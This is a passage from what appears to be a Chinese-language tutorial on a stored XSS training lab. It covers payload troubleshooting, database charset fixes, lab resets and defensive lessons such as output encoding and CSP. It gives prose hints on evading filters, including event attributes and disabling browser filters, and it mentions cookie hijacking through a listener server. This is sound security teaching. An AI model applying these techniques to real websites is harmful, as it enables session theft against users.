输入Payload后页面不弹窗这个问题我遇到得最多，通常不是靶场故障，而是下面几个原因之一。最强的嫌疑是浏览器内置的XSS过滤器：现代浏览器会对明显形似脚本的响应做拦截，尤其是在URL参数里的反射型场景。存储型场景里过滤器响应较弱，但仍然可能拦下部分明显的脚本标签。排查时先换个浏览器试试，或者暂时关闭过滤功能再对比。其次是编码问题。如果页面指定了字符集，而Payload里包含特殊字符，浏览器可能把它们当作纯文本显示。编码问题的典型表现是：数据库里存的是完整Payload，响应体里也能看到原始文本，可页面就是不解析标签。处理方法是确认页面输出时使用的字符集，或者把Payload改成全ASCII字符。最后要检查的是输出位置。有些页面把用户数据放在HTML标签内部，比如出现在文本节点里，那么直接写<script>标签确实不会执行，因为标签没被当作标签解析。这时候要结合输出上下文调整Payload，比如改用事件属性。排查顺序我建议是：先看响应体、再看浏览器过滤、最后看输出上下文。现象可能原因排查方向页面显示源码文本不执行输出点做了HTML转义查看响应体中标签是否被转义源码正常但无弹窗浏览器XSS过滤器拦截换浏览器或暂时关闭过滤数据库里内容不完整字段长度截断或过滤函数生效查看数据表结构和过滤代码5.2 数据库中文乱码或写入失败这个靶场部署在中文环境里偶尔会出现字符集混乱。症状是留言里输入中文后，保存成功但页面显示乱码；或者直接报错写入失败。大多数情况下是数据库连接字符集和表字符集不匹配导致的。检查思路顺着链路走：先看数据库建表语句里的默认字符集，再看靶场配置文件里有没有设置连接字符集。通常把表结构里的字符集改成utf8mb4，同时在连接初始化时执行SET NAMES utf8mb4，就能解决。靶场是练习环境，一次性可以重置数据表结构，直接操作不影响其他模块。5.3 高级别下是不是真的无解我先说结论：不要把这个靶场的高级别当成“必须攻破”的目标。它本质上是黑名单过滤的集大成展示，设计意图是让你对比不同防护强度。真实系统里，只要将输出编码做得足够严格，存储型XSS基本能被堵死，绝不鼓励你在真实业务里为了绕过而绕过。从学习角度，值得做的是推断：这套黑名单基于正则表达式匹配，它会漏掉什么？为什么事件属性的变形写法有时能生效？如果你能根据自己的推断构造出一个能生效的Payload，那你就真正理解了过滤器的工作原理。推不出来也没关系，把代码里用到的正则抄下来逐一分析，本身就是扎实的进阶训练。5.4 恢复实验环境的几个技巧实验做多了难免把留言表里塞满恶意Payload，影响下一轮测试。靶场自带重置功能，可以直接恢复数据库到初始状态。如果是手动部署，也可以用集成环境里的数据库管理工具，把相关数据表清空，或者直接删除整个数据库后重新访问安装向导。容器方式更简单，容器本身就适合“用完即弃”。实验前给容器打一个快照，做完一轮高风险测试直接恢复快照，环境和Payload都回到初始状态。我自己做长线研究时会配合版本管理工具记录靶场源码的改动，这样即使改了PHP代码也能随时回退，不用重新部署。6. 从实验到防御：个人经验与最后提醒6.1 这个实验最有价值的三个认知做完全套实验，我最想强调的是三个认知。第一，XSS的根子在于“数据与代码没有分离”。用户输入的数据被当成HTML代码拼接输出了，才给了脚本执行的机会。明白了这一点，你就能理解为什么修复XSS最核心的手段是“输出编码”而非“过滤关键字”。第二，存储型XSS的危害不能只靠弹窗评估，要放到整个会话流程和业务逻辑里去衡量，一次看似不起眼的留言注入，可能变成全站范围的“幽灵脚本”。第三，防御层面不能依赖单一手段，输入过滤、输出编码、HttpOnly、CSP要配合使用，形成纵深，这才叫真正的安全编码。这三个认知，如果单纯看教程，你可能觉得都懂，但只有亲手把一个Payload从提交到执行再到拿到Cookie走完一遍，你才会真正理解它们的分量。我在指导新人时，从来不要求他们背漏洞类型，而是要求他们画清楚数据流，独立完成这个实验的所有三个级别，这比口头讲解十遍都有效。6.2 我踩过的几个坑，提前帮你避开第一个坑是实验时用了开了过滤插件的浏览器，导致Payload被干掉，浪费大量时间排查靶场问题。后来我固定用一个独立的浏览器配置专门做靶场实验，这个问题再没出现过。第二个坑是手动部署时忽略了PHP版本，导致安装页功能异常，换版本后一切正常。第三个坑是早期做Cookie劫持实验时，监听服务器的地址和端口没配对，Payload发到了错误的后台，误以为漏洞不可利用。后来我养成了先单独测试监听服务器、再注入Payload的习惯，先把“收信端”打通，再去验证脚本是否生效。最后一个提醒：这个实验的价值不仅在于“会攻击”，更在于“能防御”。我建议你完成攻击实验后，回到源码里去读那三种过滤代码，尝试把低级别的代码改成安全版本，再回到留言板测试是否还能绕过。你攻击有多熟练，防御就该有多敏感。只有亲自站在两端都做过一遍，才算真正掌握了存储型XSS从原理到攻防的完整脉络。